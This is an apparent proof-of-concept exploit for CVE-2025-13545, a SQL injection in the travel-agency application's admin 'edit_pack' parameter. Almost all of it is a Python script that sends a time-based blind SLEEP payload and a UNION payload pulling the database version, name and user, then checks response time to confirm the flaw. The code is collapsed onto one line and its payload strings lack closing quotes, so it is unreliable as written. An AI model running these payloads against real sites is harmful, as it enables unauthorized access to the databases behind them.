CVE-2025-13545 | ashraf-kabir travel-agency SQL注入漏洞

# CVE-2025-13545 SQL Injection PoC # Target: ashraf-kabir travel-agency /admin_area/index.php # Parameter: edit_pack # Authentication: Requires high privileges (admin access) import requests import sys target_url = "http://target-site.com/admin_area/index.php" # SQL Injection payload for time-based blind SQL injection sql_payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))test)-- - # Alternative payload for UNION-based injection union_payload = "1' UNION SELECT NULL,NULL,NULL,NULL,version(),database(),user()-- - def exploit_sqli(url, payload): """ Execute SQL injection attack """ params = { 'edit_pack': payload } print(f"[*] Target: {url}") print(f"[*] Payload: {payload}") try: response = requests.get(url, params=params, timeout=30) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed - Time-based blind SQL injection works") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] print("CVE-2025-13545 SQL Injection PoC") print("=" * 50) # Test with time-based blind SQL injection exploit_sqli(target_url, sql_payload)